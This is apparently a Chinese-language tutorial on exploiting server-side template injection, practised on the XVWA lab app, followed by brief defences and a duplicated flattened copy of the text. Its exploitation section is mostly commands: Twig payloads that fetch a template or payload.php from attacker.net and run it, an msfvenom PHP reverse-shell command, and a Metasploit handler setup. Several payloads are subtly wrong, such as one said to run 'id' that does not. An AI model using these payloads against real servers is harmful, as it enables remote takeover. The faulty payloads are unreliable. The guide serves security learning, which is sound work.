利用SSTI漏洞获取服务器Shell
字数 799 2025-08-29 08:32:30

服务器端模板注入(SSTI)漏洞利用实战指南

1. SSTI漏洞概述

服务器端模板注入(SSTI)是一种安全漏洞,攻击者能够将恶意模板指令作为用户输入注入,并在服务器端执行任意代码。这种漏洞通常出现在使用模板引擎的Web应用程序中。

常见模板引擎

  • Smarty
  • Twig
  • Jinja2
  • FreeMarker
  • Velocity

2. SSTI漏洞识别

识别特征

在Web页面源代码中查找以下模式:

var greet = 'Hello $name';
<ul>
<% for(var i=0; i < data.length ; i ++) {%>
<li><%= data[i] %></li>
<% } %>
</ul>
<div>
<p>Welcome, {{ username }}</p>
</div>

探测方法

注入数学运算表达式测试:

${{1300+37}}

如果返回1337,则表明存在SSTI漏洞。

3. 漏洞利用实战

环境准备

使用XVWA(Xtreme Vulnerable Web Application)进行练习,其中包含SSTI挑战。

基本利用

  1. 确认模板引擎类型(本例为Twig)
  2. 注入测试载荷:
{{7*7}}
  1. 验证服务器响应是否为49

执行系统命令

使用以下载荷执行id命令:

{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}

获取服务器Shell

步骤1: 生成Meterpreter有效载荷

使用Metasploit生成PHP Meterpreter有效载荷:

msfvenom -p php/meterpreter/reverse_tcp LHOST=<攻击者IP> LPORT=<端口> -f raw > payload.php

步骤2: 设置监听器

在Metasploit中配置监听:

msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST <攻击者IP>
msf exploit(handler) > set LPORT <端口>
msf exploit(handler) > exploit

步骤3: 上传并执行载荷

通过SSTI漏洞上传并执行生成的payload.php文件:

{{file_put_contents('payload.php',file_get_contents('http://attacker.net/payload.php'))}}
{{system('php payload.php')}}

步骤4: 获取Meterpreter会话

成功执行后,Metasploit监听器将获得Meterpreter shell,可完全控制目标服务器。

4. 防御措施

输入验证

  • 对所有用户输入进行严格过滤
  • 禁止用户输入中包含模板语法特殊字符

安全配置

  1. 使用沙箱环境限制模板执行权限
  2. 禁用危险的模板指令和函数
  3. 最小化模板引擎的系统访问权限

其他措施

  • 定期更新模板引擎到最新版本
  • 实施内容安全策略(CSP)
  • 记录和监控可疑的模板操作

5. 参考资源

服务器端模板注入(SSTI)漏洞利用实战指南 1. SSTI漏洞概述 服务器端模板注入(SSTI)是一种安全漏洞,攻击者能够将恶意模板指令作为用户输入注入,并在服务器端执行任意代码。这种漏洞通常出现在使用模板引擎的Web应用程序中。 常见模板引擎 Smarty Twig Jinja2 FreeMarker Velocity 2. SSTI漏洞识别 识别特征 在Web页面源代码中查找以下模式: 探测方法 注入数学运算表达式测试: 如果返回 1337 ,则表明存在SSTI漏洞。 3. 漏洞利用实战 环境准备 使用XVWA(Xtreme Vulnerable Web Application)进行练习,其中包含SSTI挑战。 基本利用 确认模板引擎类型(本例为Twig) 注入测试载荷: 验证服务器响应是否为 49 执行系统命令 使用以下载荷执行 id 命令: 获取服务器Shell 步骤1: 生成Meterpreter有效载荷 使用Metasploit生成PHP Meterpreter有效载荷: 步骤2: 设置监听器 在Metasploit中配置监听: 步骤3: 上传并执行载荷 通过SSTI漏洞上传并执行生成的payload.php文件: 步骤4: 获取Meterpreter会话 成功执行后,Metasploit监听器将获得Meterpreter shell,可完全控制目标服务器。 4. 防御措施 输入验证 对所有用户输入进行严格过滤 禁止用户输入中包含模板语法特殊字符 安全配置 使用沙箱环境限制模板执行权限 禁用危险的模板指令和函数 最小化模板引擎的系统访问权限 其他措施 定期更新模板引擎到最新版本 实施内容安全策略(CSP) 记录和监控可疑的模板操作 5. 参考资源 Exploring SSTI in Flask/Jinja2 OWASP Template Injection